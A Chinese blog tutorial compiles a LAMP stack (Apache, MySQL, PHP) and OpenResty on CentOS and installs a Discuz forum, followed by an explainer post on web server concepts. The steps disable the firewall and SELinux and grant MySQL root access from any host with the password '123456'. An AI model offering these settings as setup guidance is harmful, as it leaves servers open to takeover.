httpd服务1.关闭防火墙,将安装Apache所需软件包传到/opt目录下1234567systemctl stop firewalldsystemctl disable firewalld# 关闭selinucvim /etc/selinux/configSELINUX=enforcing# 改成disable https://archive.apache.org/dist/apr/apr-1.6.2.tar.gzhttps://archive.apache.org/dist/apr/apr-1.6.2.tar.gz https://archive.apache.org/dist/apr/apr-util-1.6.0.tar.gzhttps://archive.apache.org/dist/apr/apr-util-1.6.0.tar.gz https://archive.apache.org/dist/httpd/httpd-2.4.29.tar.gzhttps://archive.apache.org/dist/httpd/httpd-2.4.29.tar.gz apr组件包用于支持Apache上层应用跨平台,提供底层接口库,能有效的降低并发连接数、降低进程和减少访问堵塞. 2.安装环境依赖包1234567891011yum -y install \\gcc \\ #C语言的编译器gcc-c++ \\ #C++的编译器make \\ #源代码编译器(源代码转换成二进制文件)pcre \\ #pcre是一个Perl函数库,包括perl 兼容的正则表达式库pcre-devel \\ #perl的接口开发包expat-devel \\ #用于支持网站解析HTML、XML文件perl #perl语言编译# yum remove -y httpd # 删除旧版本的httpdyum -y install gcc gcc-c++ make pcre pcre-devel expat-devel perl 3.配置软件模块1234567891011121314151617cd /opt/lamp/apache/tar zxf apr-1.6.2.tar.gztar zxf apr-util-1.6.0.tar.gztar zxf httpd-2.4.29.tar.gzmv apr-1.6.2 /opt/lamp/apache/httpd-2.4.29/srclib/aprmv apr-util-1.6.0 /opt/lamp/apache/httpd-2.4.29/srclib/apr-utilcd httpd-2.4.29/./configure \\--prefix=/usr/local/httpd \\ #指定将 httpd 服务程序的安装路径--enable-so \\ #启用动态加载模块支持,使 httpd 具备进一步扩展功能的能力--enable-rewrite \\ #启用网页地址重写功能,用于网站优化、防盗链及目录迁移维护--enable-charset-lite \\ #启动字符集支持,以便支持使用各种字符集编码的页面--enable-cgi #启用CGI(通用网关接口)脚本程序支持,便于网站的外部扩展应用访问能力./configure --prefix=/usr/local/httpd --enable-so --enable-rewrite --enable-charset-lite --enable-cgi 4.编译及安装1make -j 2 && make install #make -j 2 表示开2核同时进行编译 5.优化配置文件路径,并把httpd服务的可执行程序文件放入路径环境变量的目录中便于系统识别12ln -s /usr/local/httpd/conf/httpd.conf /etc/ln -s /usr/local/httpd/bin/* /usr/local/bin/ 6.添加httpd系统服务方法一: 1234567891011cp /usr/local/httpd/bin/apachectl /etc/init.d/httpd #用于service服务管理chmod +x /etc/init.d/httpdvi /etc/init.d/httpd #在第一行后插入新行,添加此三行内容# chkconfig: 35 85 21 #35级别自动运行 第85个启动 第21个关闭# description: Apache is a World Wide Web serverchkconfig --add httpd #将httpd服务加入到service管理器systemctl start httpd.service或service httpd start 方法二: 123456789101112131415vim /lib/systemd/system/httpd.service[Unit]Description=The Apache HTTP Server #描述After=network.target #描述服务类别[Service]Type=forking #后台运行方式PIDFile=/usr/local/httpd/logs/httpd.pid #PID文件位置ExecStart=/usr/local/bin/apachectl $OPTIONS #启动服务ExecReload=/bin/kill -HUP $MAINPID #根据PID重载配置[Install]WantedBy=multi-user.targetsystemctl start httpd.servicesystemctl enable httpd.service 7.修改httpd 服务配置文件1234567891011121314vim /etc/httpd.conf# 52行--修改Listen 192.168.64.170:80# 197行--取消注释,修改ServerName 192.168.64.170:80# 221行--默认首页存放路径DocumentRoot "/usr/local/httpd/htdocs"# 255行--默认首页文件名设置DirectoryIndex index.htmlhttpd -t 或 apachectl -t #检查配置文件的配置项是否有误cat /usr/local/httpd/htdocs/index.htmlsystemctl restart httpd.service 浏览器访问验证1http://192.168.64.170 三、编译安装mysqld 服务1.下载相关文件https://dev.mysql.com/get/Downloads/MySQL-5.7/mysql-5.7.18.tar.gzhttps://dev.mysql.com/get/Downloads/MySQL-5.7/mysql-5.7.18.tar.gz https://downloads.sourceforge.net/project/boost/boost/1.59.0/boost_1_59_0.tar.gzhttps://downloads.sourceforge.net/project/boost/boost/1.59.0/boost_1_59_0.tar.gz 2.安装环境依赖包12345678yum -y install \\gcc \\gcc-c++ curses \\ #字符终端下图形互动功能的动态库ncurses-devel \\ #ncurses开发包bison \\ #语法分析器cmake #mysql需要用cmake编译安装yum -y install gcc gcc-c++ ncurses ncurses-devel bison cmake 3.配置软件模块1234567891011121314151617181920212223cd /opt/lamp/mysqltar -zxvf mysql-5.7.18.tar.gztar -zxvf boost_1_59_0.tar.gzmv /opt/lamp/mysql/boost_1_59_0 /usr/local/boost #重命名cd mysql-5.7.18/cmake \\-DCMAKE_INSTALL_PREFIX=/usr/local/mysql \\ #指定mysql的安装路径-DMYSQL_UNIX_ADDR=/usr/local/mysql/mysql.sock \\ #指定mysql进程监听套接字文件(数据库连接文件)的存储路径 -DSYSCONFDIR=/etc \\ #指定配置文件的存储路径-DSYSTEMD_PID_DIR=/usr/local/mysql \\ #指定进程文件的存储路径-DDEFAULT_CHARSET=utf8 \\ #指定默认使用的字符集编码,如 utf8-DDEFAULT_COLLATION=utf8_general_ci \\ #指定默认使用的字符集校对规则-DWITH_EXTRA_CHARSETS=all \\ #指定支持其他字符集编码-DWITH_INNOBASE_STORAGE_ENGINE=1 \\ #安装INNOBASE存储引擎-DWITH_ARCHIVE_STORAGE_ENGINE=1 \\ #安装ARCHIVE存储引擎 -DWITH_BLACKHOLE_STORAGE_ENGINE=1 \\ #安装BLACKHOLE存储引擎 -DWITH_PERFSCHEMA_STORAGE_ENGINE=1 \\ #安装FEDERATED存储引擎 -DMYSQL_DATADIR=/usr/local/mysql/data \\ #指定数据库文件的存储路径-DWITH_BOOST=/usr/local/boost \\ #指定boost的路径,若使用mysql-boost集成包安装则-DWITH_BOOST=boost-DWITH_SYSTEMD=1 #生成便于systemctl管理的文件 123456789101112131415cmake \\-DCMAKE_INSTALL_PREFIX=/usr/local/mysql \\-DMYSQL_UNIX_ADDR=/usr/local/mysql/mysql.sock \\-DSYSCONFDIR=/etc \\-DSYSTEMD_PID_DIR=/usr/local/mysql \\-DDEFAULT_CHARSET=utf8 \\-DDEFAULT_COLLATION=utf8_general_ci \\-DWITH_EXTRA_CHARSETS=all \\-DWITH_INNOBASE_STORAGE_ENGINE=1 \\-DWITH_ARCHIVE_STORAGE_ENGINE=1 \\-DWITH_BLACKHOLE_STORAGE_ENGINE=1 \\-DWITH_PERFSCHEMA_STORAGE_ENGINE=1 \\-DMYSQL_DATADIR=/usr/local/mysql/data \\-DWITH_BOOST=/usr/local/boost \\-DWITH_SYSTEMD=1 **存储引擎选项:**MYISAM,MERGE,MEMORY,和CSV引擎是默认编译到服务器中,并不需要明确地安装.静态编译一个存储引擎到服务器,使用-DWITH_engine_STORAGE_ENGINE= 1可用的存储引擎值有:ARCHIVE, BLACKHOLE, EXAMPLE, FEDERATED, INNOBASE (InnoDB), PARTITION (partitioning support), 和PERFSCHEMA (Performance Schema) 1注意:如果在CMAKE的过程中有报错,当报错解决后,需要把源码目录中的CMakeCache.txt文件删除,然后再重新CMAKE,否则错误依旧 4.编译及安装12make && make install# 需要长时间等待 5.创建mysql用户1useradd -M -s /sbin/nologin mysql 6.修改mysql 配置文件1234567891011121314151617181920vim /etc/my.cnf #删除原配置项,再重新添加下面内容[client] #客户端设置port = 3306socket=/usr/local/mysql/mysql.sock [mysqld] #服务全局设置user = mysql #设置管理用户basedir=/usr/local/mysql #指定数据库的安装目录datadir=/usr/local/mysql/data #指定数据库文件的存储路径port = 3306 #指定端口character-set-server=utf8 #设置服务器字符集编码格式为utf8pid-file = /usr/local/mysql/mysqld.pid #指定pid 进程文件路径socket=/usr/local/mysql/mysql.sock #指定数据库连接文件bind-address = 0.0.0.0 #设置监听地址,0.0.0.0代表允许所有,如允许多个IP需空格隔开skip-name-resolve #禁用DNS解析max_connections=2048 #设置mysql的最大连接数default-storage-engine=INNODB #指定默认存储引擎max_allowed_packet=16M #设置数据库接收的数据包大小的最大值server-id = 1 #指定服务ID号sql_mode=NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_AUTO_VALUE_ON_ZERO,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,PIPES_AS_CONCAT,ANSI_QUOTES sql_mode常用值如下: 设置项 描述 NO_ENGINE_SUBSTITUTION 如果需要的存储引擎被禁用或未编译,那么抛出错误.不设置此值时,用默认的存储引擎替代,并抛出一个异常 STRICT_TRANS_TABLES 在该模式下,如果一个值不能插入到一个事务表中,则中断当前的操作,对非事务表不做限制 NO_AUTO_CREATE_USER 禁止GRANT语句创建密码为空的用户 NO_AUTO_VALUE_ON_ZERO 如果插入值为0的数据,自增长列将不会产生新的序列值,而是接受0这个值.默认情况下,自增长列是从1开始的,插入值为0的数据通常会报错 NO_ZERO_IN_DATE 不允许在日期值中使用月或日部分的零值 NO_ZERO_DATE 不允许向表中插入零日期(‘0000-00-00’),如果尝试这样做,将会抛出错误而不是警告 ERROR_FOR_DIVISION_BY_ZERO 在INSERT或UPDATE过程中,如果数据被零除,则产生错误而非警告.默认情况下,当数据被零除时,MySQL返回NULL PIPES_AS_CONCAT 将"||"视为字符串的连接操作符而非逻辑或运算符,这与Oracle数据库的行为一致,并且类似于字符串的拼接函数CONCAT ANSI_QUOTES 当启用ANSI_QUOTES时,不能使用双引号来引用字符串,因为它会被解释为标识符(如表名或列名) 7.更改mysql安装目录和配置文件的属主属组12chown -R mysql:mysql /usr/local/mysqlchown mysql:mysql /etc/my.cnf 8.设置路径环境变量12echo 'export PATH=/usr/local/mysql/bin:/usr/local/mysql/lib:$PATH' >> /etc/profile\tsource /etc/profile 9.初始化数据库123456cd /usr/local/mysql/bin/./mysqld \\--initialize-insecure \\ #生成初始化密码为空--user=mysql \\ #指定管理用户--basedir=/usr/local/mysql \\ #指定数据库的安装目录--datadir=/usr/local/mysql/data #指定数据库文件的存储路径 123456cd /usr/local/mysql/bin/./mysqld \\--initialize-insecure \\--user=mysql \\--basedir=/usr/local/mysql \\--datadir=/usr/local/mysql/data 10.添加mysqld系统服务12345cp /usr/local/mysql/usr/lib/systemd/system/mysqld.service /usr/lib/systemd/system/ #用于systemctl服务管理systemctl daemon-reload #刷新识别 systemctl start mysqld.service #开启服务systemctl enable mysqld #开机自启动netstat -anpt | grep 3306 #查看端口 11.修改mysql 的登录密码1mysqladmin -u root -p password "123456" #给root账号设置密码为123456,提示输入的是原始密码(为空) 12.授权远程登录12345mysql -u root -pgrant all privileges on *.* to 'root'@'%' identified by '123456';--授予root用户可以在所有终端远程登录,使用的密码是123456,并对所有数据库和所有表有操作权限show databases; --查看当前已有的数据库 四、编译安装PHP 解析环境1.下载相关文件https://museum.php.net/php7/php-7.1.24.tar.gzhttps://museum.php.net/php7/php-7.1.24.tar.gz https://gitee.com/3dming/DiscuzL/attach_fileshttps://gitee.com/3dming/DiscuzL/attach_files 2.安装GD库和GD库关联程序,用来处理和生成图片1yum -y install gd libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel libxml2 libxml2-devel zlib zlib-devel curl curl-devel openssl openssl-devel 3.配置软件模块123cd /opt/lamp/phptar -zxvf php-7.1.24.tar.gzcd php-7.1.24/ 123456789101112131415161718192021./configure \\--prefix=/usr/local/php7 \\ #指定将 PHP 程序的安装路径--with-apxs2=/usr/local/httpd/bin/apxs \\ #指定Apache httpd服务提供的apxs 模块支持程序的文件位置--with-mysql-sock=/usr/local/mysql/mysql.sock \\ #指定mysql 数据库连接文件的存储路径--with-config-file-path=/usr/local/php7 #设置 PHP 的配置文件 php.ini 将要存放的位置--with-mysqli \\ #添加 MySQL 扩展支持 #mysqli扩展技术不仅可以调用MySQL的存储过程、处理MySQL事务,而且还可以使访问数据库工作变得更加稳定--with-zlib \\ #支持zlib功能,提供数据压缩--with-curl \\ #开启curl扩展功能,实现HTTP的Get下载和Post请求的方法--with-gd \\ #激活gd 库的支持--with-jpeg-dir \\ #激活jpeg 的支持--with-png-dir \\ #激活png 的支持--with-freetype-dir \\--with-openssl \\--enable-mbstring \\ #启用多字节字符串功能,以便支持中文等代码--enable-xml \\ #开启扩展性标记语言模块--enable-session \\ #会话--enable-ftp \\ #文本传输协议--enable-pdo \\ #函数库--enable-tokenizer \\ #令牌解释器--enable-zip #ZIP压缩格式--enable-fpm # php-fpm 与nignx联动 1./configure --prefix=/usr/local/php7 --with-apxs2=/usr/local/httpd/bin/apxs --with-mysql-sock=/usr/local/mysql/mysql.sock --with-config-file-path=/usr/local/php7 --with-mysqli --with-zlib --with-curl --with-gd --with-jpeg-dir --with-png-dir --with-freetype-dir --with-openssl --enable-mbstring --enable-xml --enable-session --enable-ftp --enable-pdo --enable-tokenizer --enable-zip --enable-fpm 4.编译及安装1make && make install 5.复制模版文件作为PHP 的主配置文件,并进行修改12345678910#在测试环境时使用php.ini-development文件,而在生产环境时使用php.ini-production文件cp /opt/lamp/php/php-7.1.24/php.ini-development /usr/local/php7/php.ini\tcp /usr/local/php7/etc/php-fpm.conf.default /usr/local/php7/etc/php-fpm.confcp /usr/local/php7/etc/php-fpm.d/www.conf.default /usr/local/php7/etc/php-fpm.d/www.confvim /usr/local/php7/php.ini--939行--取消注释,修改date.timezone = Asia/Shanghai--1170行--修改mysqli.default_socket = /usr/local/mysql/mysql.sock 6.优化把PHP 的可执行程序文件放入路径环境变量的目录中便于系统识别123ln -s /usr/local/php7/bin/* /usr/local/bin/ln -s /usr/local/php7/sbin/php-fpm /usr/sbin/php7-fpmphp -m #查看PHP 加载了哪些模块 7.修改httpd服务的配置文件,让apache支持PHP12345678910vim /etc/httpd.conf ---160行检查支持php7的模块是否存在------LoadModule php7_module modules/libphp7.so--256行--修改首页文件名设置DirectoryIndex index.html index.php--397行--插入以下内容AddType application/x-httpd-php .phpAddType application/x-httpd-php-source .phps 8.验证PHP测试页1234567891011rm -rf /usr/local/httpd/htdocs/index.htmlvim /usr/local/httpd/htdocs/index.php<?phpphpinfo();?>systemctl restart httpd.service# 启动fpmphp7-fpm浏览器访问http://192.168.64.170/ 五、安装论坛12345678910111213141516171819202122232425262728293031323334mysql -u root -pmysql> CREATE DATABASE dz;#把dz数据库里面所有表的权限授予给dz,并设置密码# mysql> GRANT all ON dz.* TO 'dz'@'%' IDENTIFIED BY '123456';#刷新数据库mysql>flush privileges;cd /opt/lamp#解压论坛压缩包unzip Discuz-X3.4-SC-GBK-v20230315.zip -d /opt/dzcd /opt/dz#上传站点更新包cp -r upload/* /usr/local/httpd/htdocs/#切换论坛目录cd /usr/local/httpd/htdocs/#更改论坛目录属主(httpd安装若改配置文件为apache,则下方命令将daemon改为apache,并创建apache用户)chown -R daemon ./configchown -R daemon ./datachown -R daemon ./uc_clientchown -R daemon ./uc_server/data数据库服务器:localhost #本地架设就用localhost,如果不是在本机上就要填写IP地址和端口号数据库名字:bbs数据库用户名:bbuser数据库密码:自行输入管理员账号:admin管理员密码:自行输入 1.创建一个数据库 2.解压论坛压缩包 3.上传站点更新包 4.更改论坛目录属主 5.验证是否能登陆并注册用户 六、编译安装Nginx-Openresty服务(扩展与Apache二选一)123456789101112131415161718192021222324252627# 下载依赖环境yum install -y deltarpm gcc gcc-c++ unixODBC-devel httpd mysql-devel libcurl libcurl-devel libevent libevent-devel curl-devel libxml2 libxml2-devel net-snmp-devel pcre-devel java-devel openssl-devel perl-ExtUtils-Embed at python subversion gperf make rpm-build git bzip2-devel gd gd-devel t1lib t1lib-devel GeoIP-devel libatomic_ops-devel zlib-devel unzip libstdc++* net-snmp net-snmp* gmp gmp-devel openldap openldap-devel libpcap-devel glib2-devel GeoIP-devel vim wget git libtool make automake mlocate pam-devel unzip screen openssl iptables-services bash-completion* libxslt* curl net-tools libssh2-devel#进入opt目录cd /opt#下载Openresty二进制文件wget https://openresty.org/download/openresty-1.21.4.1.tar.gz #解压压缩包tar -zxvf openresty-1.21.4.1.tar.gz#进入到openresty-1.21.4.1/目录cd openresty-1.21.4.1/#准备编译参数./configure --prefix=/usr/local/nginx --sbin-path=/usr/sbin/nginx --conf-path=/usr/local/nginx/nginx.conf --pid-path=/var/run/nginx.pid --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --lock-path=/var/lock/nginx.lock --with-luajit --with-http_gunzip_module --with-pcre --with-pcre-jit --with-http_perl_module --with-ld-opt="-Wl,-rpath,/usr/local/nginx/luajit/lib -Wl,-E" --with-http_realip_module --with-http_secure_link_module --with-http_slice_module --with-http_ssl_module --with-http_stub_status_module --with-http_sub_module --with-http_v2_module --with-http_addition_module --with-http_xslt_module --with-http_image_filter_module --with-http_geoip_module --with-http_dav_module --with-http_flv_module --with-http_mp4_module --with-http_gzip_static_module --with-http_auth_request_module --with-http_random_index_module --with-select_module --with-poll_module --with-file-aio --with-http_degradation_module --with-libatomic --http-client-body-temp-path=/var/tmp/nginx/client_body --http-proxy-temp-path=/var/tmp/nginx/proxy --http-fastcgi-temp-path=/var/tmp/nginx/fastcgi --http-uwsgi-temp-path=/var/tmp/nginx/uwsgi --http-scgi-temp-path=/var/tmp/nginx/scgi#编译&安装make&&make install# 检查环境nginx -t# 创建相关文件和文件夹mkdir -p /var/tmp/nginx/client_bodymkdir -p /usr/local/nginx/nginx/logs/# 启动nginxnginx# 停止nginxnginx -s stop# 访问http://192.168.64.170/ 1234567891011121314151617181920212223242526272829303132# 将dz的源代码复制到nginx默认的网站根目录里cp -r /usr/lcoal/httpd/htdocs/* /usr/local/nginx/nginx/html#编辑nginx.conf配置文件vim /usr/local/nginx/nginx.conf#nginx.conf配置项 location / { # 如果安装dz论坛的话,把下方的html改成dz论坛所在的绝对路径,或者将文件都移动到/usr/local/nginx/nginx/html/ # 记得重新赋予权限 root html; index index.html index.htm index.php; } location ~ \\.php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root/$fastcgi_script_name; include fastcgi_params; }#检查nginx配置文件是否正确nginx -t#启动nginxnginx# 重新赋予权限chown -R nobody ./configchown -R nobody ./datachown -R nobody ./uc_clientchown -R nobody ./uc_server/data 上面图片里倒数第三行多了个;记得删掉 七、总结1.Apache编译安装方法 2.httpd服务支持的虚拟主机类型 3.MySQL数据库编译安装方法 4.构建PHP运行环境的方法 5.部署及使用phpMyAdmin系统的方法 6.Nginx编译安装方法","tags":["Centos","Mysql","数据库","Linux","PHP","Apache","OpenResty","SSL"],"categories":["安全运维","Web服务器"]},{"title":"Linux-Web服务器的概念","path":"/2024/01/27/81fbba05/","content":"总字符数: 12.32K 代码: 无, 文本: 7.25K 预计阅读时间: 32 分钟 Web服务概念 ​\tWeb服务器,也称为WWW(World Wide Web,万维网)服务器,其主要功能是提供网上信息浏览服务,使用户能够通过互联网访问网页内容.它处理用户的请求,并将网页内容(如HTML文档、图片等)发送到用户的浏览器中. 常见Web服务器软件以下是一些流行的 Web 服务器软件及其特点: Web服务软件 支持的语言 适用操作系统 Apache HTTP Server PHP 多平台(常用于Linux) Nginx PHP 多平台(常用于Linux) Tomcat Java(JSP + HTML) 多平台 Microsoft IIS ASP.NET Windows 详细说明 Apache HTTP Server:广泛应用于多种操作系统,通过模块化的方式可以扩展功能,支持包括PHP在内的多种编程语言. Nginx:以其高性能、高并发处理能力著称,适用于各种操作系统,并常被用作反向代理服务器. Tomcat:是Apache软件基金会的一个开源项目,主要运行Java Servlet和JavaServer Pages. Microsoft IIS:适用于Windows操作系统,与Microsoft的其他产品如Windows Server紧密结合,常用于ASP.NET应用. 客户端浏览器用户通过客户端浏览器发起网页请求,常见的浏览器包括: Internet Explorer (IE) Firefox Chrome Safari 各种手机浏览器 什么是PHP ​\tPHP(PHP: Hypertext Preprocessor,即”超文本预处理器”)是一种通用开源服务器端脚本语言,广泛用于Web开发,并可以嵌入HTML代码中.PHP以其高效率、跨平台和开放源码的特性成为众多流行网站的开发选择,例如WordPress、Digg和Facebook都采用了PHP作为开发语言.PHP的语法借鉴了C、Java和Perl,易于上手,是初学者和专业开发者广泛使用的语言之一.PHP主要执行在Web服务器上,通过执行PHP代码生成用户浏览器中的Web页面.它几乎可以在所有的服务器和操作系统上运行,且完全免费. 什么是PHP文件PHP文件通常是纯文本文件,包含了用PHP编程语言编写的代码.这些代码在服务器端执行,由服务器上的PHP解释引擎处理,并转换为客户端理解的HTML.PHP文件可能包含文本、HTML标记、CSS样式和PHP代码.当用户请求一个PHP页面时,服务器上的PHP引擎将执行PHP代码,生成HTML输出,并将其与文件中的其它内容合并,然后发送到用户的浏览器中.在浏览器中查看PHP页面的源代码时,不会显示原始的PHP代码,因为它在发送到客户端之前已经在服务器上被解析和执行了. PHP 可以做什么? 生成动态页面内容. 创建、打开、读取、写入、删除以及关闭服务器上的文件. 接收表单数据. 发送和管理cookies. 在数据库中添加、删除、修改数据. 限制用户访问网站中的特定页面. 加密数据以保护敏感信息. 生成图像、PDF文件和Flash影片,以及输出XHTML和XML等各种文本格式. PHP的优势 跨平台性,PHP支持大多数操作系统,包括Windows, Linux, Unix, Mac OS X等. 与众多Web服务器兼容,如Apache、Nginx、IIS等. 能够与多种数据库系统互操作,使其成为动态Web应用开发的理想选择. 学习成本低,尤其对于有C语言或C++基础的开发者更是易于掌握. 什么是Apache ​\tApache HTTP Server,通常简称为Apache,是由Apache软件基金会(ASF)开发的一款开源网页服务器软件.它可以运行在几乎所有的计算机操作系统上,尤其是在Unix-like系统(如Linux)和Windows系统上.Apache因其跨平台性和安全性而被广泛使用,长期以来一直是世界上最流行的Web服务器软件之一. Apache软件基金会(ASF)是一个非营利组织,负责支持Apache开源软件项目的一个集体.除了Apache HTTP Server,基金会还管理着多个开源项目,如: Ant:一个Java库和命令行工具,用于自动化构建过程. DB:多个数据库项目的集合,包括CouchDB和Derby. iBATIS:一个数据映射器框架,可以简化数据库与Java应用的集成. Jakarta:现已重命名为Apache Jakarta,是一系列相关的开源Java解决方案. Logging:提供日志记录的工具和库. Maven:一个项目管理和构建自动化工具. Struts:一个流行的开源MVC框架,用于构建Java Web应用程序. Tomcat:一个实现Java Servlet和JavaServer Pages技术的Web容器. Tapestry:一个用于创建复杂和高性能的Web应用程序的框架. Hadoop:一个用于分布式存储和处理大数据的平台. 尽管Apache软件基金会有多个项目,但”Apache”这个名字通常被用来指Apache HTTP Server,这是由于Apache HTTP Server的高知名度和广泛的应用. 可以访问官方网站了解更多信息和下载软件: https://www.apache.org/https://www.apache.org/ https://httpd.apache.org/https://httpd.apache.org/ ​\tApache是一种领先的开源Web服务器软件,极其擅长处理来自用户浏览器的HTTP请求,并以高效和可靠的方式,将网页、图片、脚本等静态资源传输给用户.它的设计注重性能,能够管理大量的网络连接和并发请求,确保用户获得快速的服务体验.Apache之所以受到青睐,不仅在于其性能上的优化,更在于其提供的安全性、扩展性与灵活的管理选项.通过其强大的模块系统,管理员可以轻松增加新的功能,比如URL重写、用户认证,以及SSL加密通信,来提升网站的安全性和功能性. ​\t在现代Web应用的开发中,Apache往往与PHP这样的脚本语言结合使用.PHP专注于服务端逻辑和生成动态内容,如根据用户的请求和数据库交互来创建个性化页面.Apache则负责处理更基础的HTTP请求和分发静态内容,它们的结合为开发带来了极大的灵活性和高效率.此外,Apache可以用作反向代理,将请求转发至PHP处理器,并由此实现更高效的资源使用和响应速度.尽管PHP内置的服务器对于开发和测试来说很便捷,但在性能优化、安全性保障和错误处理方面,它不适合生产环境.与之相对,专业的Web服务器如Apache,以其对静态资源的高效处理、复杂请求的认证、SSL加密的执行能力以及对DDoS攻击的防御措施,确保了Web应用在生产环境中的稳定和安全运行.这些特点让Apache成为了构建高性能和安全网站的首选基础设施. 什么是Nginx ​\tNGINX(发音为”engine-x”)是一款高性能的HTTP和反向代理服务器,同时也是一个IMAP/POP3/SMTP代理服务器.由俄罗斯程序员Igor Sysoev开发,最初旨在解决C10K问题,即同时处理大量(万级别)客户端连接的挑战.NGINX以其高稳定性、丰富的功能集、低内存占用及出色的并发处理能力而闻名,在提供Web服务的同时,也经常用于负载均衡和HTTP缓存. ​\tNGINX的设计着重于高并发、高性能和低内存使用.此外,它的模块化设计让用户能够灵活地扩展功能,例如,它支持URL重写和重定向、故障转移、SSL和TLS协议、WebSocket以及流媒体传输等.NGINX同时提供了丰富的配置选项,使其能够精细地控制网络连接、请求处理和数据流. ​\t在Web开发中,NGINX常常作为Apache的一种更轻量级的替代品使用.它能够高效地作为静态资源服务器并且处理PHP等动态脚本的请求,因此,它可以和PHP-FPM(FastCGI Process Manager)等技术配合使用,以提高处理PHP动态内容的能力. ​\tNGINX的性能在处理静态内容方面尤其出色,它能够快速为用户提供静态文件,如图片和HTML页面,实现高吞吐量和低延迟.NGINX也被广泛用作负载均衡器,通过分发流量到后端的多个服务器上,来提高大型应用和服务的可伸缩性和可靠性. ​\t由于NGINX的高性能和稳定性,它被很多高流量的网站采用,包括Netflix、Airbnb和Dropbox等.这些网站需要稳定的服务器来保证用户访问的速度和质量,而NGINX提供了必要的功能来满足这些需求. ​\t尽管NGINX在某些方面与Apache相似,但它们各有特点,在不同的场景和需求中各有优势.NGINX在异步事件处理方面的性能,尤其对于现代Web应用的实时通信和高并发连接,提供了必要的支持,这使得它成为构建高效、可伸缩Web应用架构的理想选择. https://nginx.org/https://nginx.org/ https://openresty.com.cn/cn/https://openresty.com.cn/cn/ 为什么不直接使用PHP?在Web开发中,Apache或Nginx通常作为Web服务器,而PHP是一种服务器端脚本语言.在处理Web请求的上下文中,Apache/Nginx和PHP通常协同工作,但它们的职责有所区别.以下是为什么要使用Apache/Nginx来处理Web请求,而不是直接使用PHP的一些原因: 性能和效率: Apache/Nginx是为了处理大量的并发连接而优化的,它们可以高效地管理网络连接和HTTP请求,而PHP则是用来执行程序代码的. Nginx特别擅长处理静态资源,如图片、CSS、JavaScript文件等,并且在反向代理和负载平衡方面也非常高效. 安全性: Web服务器提供了一个安全层,可以配置各种安全措施,如SSL/TLS加密、防止DDoS攻击等. 使用Apache/Nginx可以限制对特定资源的访问,比如可以通过配置文件实现访问控制. 模块和插件系统: Apache和Nginx都有模块和插件系统,可以扩展其功能,这些模块可以进行URL重写、缓存、认证等. 负载分配: Web服务器可以作为负载均衡器,把请求分配到不同的PHP处理进程或服务器,这样可以提高大规模应用的性能和可靠性. PHP是解释型语言: PHP脚本需要被解释器编译和执行,这是一个相对较慢的过程.如果没有Web服务器来处理静态内容,那么所有内容都将通过PHP处理,增加了不必要的开销. 功能分离: 将Web服务器和应用服务器(PHP)分开可以让开发人员和系统管理员在配置、优化和故障排除时更加专注. 易于管理: Apache/Nginx可以处理错误页面、重定向和其他HTTP级别的需求,这样程序员就可以专注于业务逻辑的编写. 直接使用PHP内置的服务器(如通过PHP的CLI版本运行 php -S localhost:8000)主要适用于开发和测试目的,并不适合生产环境,因为它不具备为生产环境设计的Web服务器的性能、安全性和灵活性. 什么是MySQL ​\tMySQL是一个广泛使用的关系型数据库管理系统(RDBMS),由瑞典MySQL AB公司开发,并在其后被甲骨文公司(Oracle)所收购.作为一个开源系统,MySQL以其高性能、可靠性、简易性和易于使用性而受到认可,在互联网和企业环境中尤其流行.MySQL使用标准的SQL数据语言来组织、管理和检索数据,这使得它成为了开发各种应用程序,特别是Web应用程序的首选数据库. 在MySQL中,数据存储在不同的表中,这些表通过关系(即外键)连接起来,通过这种方式,它为数据的存储和查询提供了极大的灵活性和效率.MySQL支持包括ACID事务(原子性、一致性、隔离性、持久性)、分区、复制和热备份等多种先进的数据库功能. https://www.mysql.com/https://www.mysql.com/ MariaDB是MySQL的一个分支,CentOS-6之前默认使用MySQL,之后版本默认使用MariaDB。Kali-Linux中的MySQL数据库实际上也是MariaDB LAMP的重要性LAMP是一个缩写词,代表Linux、Apache、MySQL、PHP/Python/Perl这四个开源软件的组合.这个组合构成了一个强大的、可靠的、高性能的平台,用于构建和部署动态网站和Web应用程序.LAMP的重要性主要体现在以下几个方面: 成本效益:作为开源软件,LAMP堆栈的组件都是免费可用的,这降低了开发和部署Web应用程序的成本.企业和开发人员可以使用LAMP而无需支付昂贵的许可费用. 灵活性和自由:由于LAMP组件都是开源的,开发者可以根据他们的具体需求自由地定制每个组件.无论是修改Apache的配置,优化MySQL数据库,还是编写PHP脚本,LAMP为用户提供了完全的控制权. 社区支持:每个LAMP组件都有一个活跃的社区,他们持续提供支持、更新和安全性改进.这些庞大的社区是知识共享的宝库,为开发者和系统管理员提供了广泛的资源和支持. 跨平台性:虽然LAMP最初是为Linux操作系统设计的,但是这些技术现在也都支持其他操作系统,这使得LAMP可以更广泛地应用于各种不同的环境和平台. 性能和稳定性:LAMP组件都是为了提供高性能、稳定性和可靠性而精心设计的.比如,Apache是一个经过时间验证的Web服务器,能够处理大量并发请求;MySQL是一个强大的关系型数据库管理系统,适合处理大型数据集合;PHP是一个脚本语言,可以用来创建动态生成的网页内容. 易于学习:有大量的文档、论坛、书籍和在线资源,提供有关LAMP组件的学习材料.这使得新开发者能够快速地学习和应用LAMP技术. 适应性和可扩展性:LAMP架构能够适应各种大小的项目,从小型个人网站到大型企业级应用程序.同时,它可以通过负载均衡、缓存等技术进行扩展,以应对日益增长的用户和数据量. 快速开发:利用LAMP环境,开发者可以快速搭建原型和开发应用程序,这对于快速迭代和敏捷开发至关重要. 总之,LAMP的重要性在于其为开发者提供了一个成熟的、全面的、易于部署的Web应用栈,它为开发和运行Web应用程序提供了一种成本效益、高效率和高度可定制的方法. LAMP工作原理 Web服务器的工作模式工作模式:B/S模式,也即浏览器/服务器模式(Browser/Server mode) ​\tB/S模式,也即浏览器/服务器模式(Browser/Server mode),是现代网络应用中常见的一种客户端与服务端交互的架构模式.在这种模式下,用户通过Web浏览器(Browser)作为客户端,访问服务器(Server)上的资源和服务.服务器通常负责数据处理和存储工作,而浏览器则负责呈现界面和接收用户输入. ​\t在B/S模式中,LAMP堆栈(Linux, Apache, MySQL, 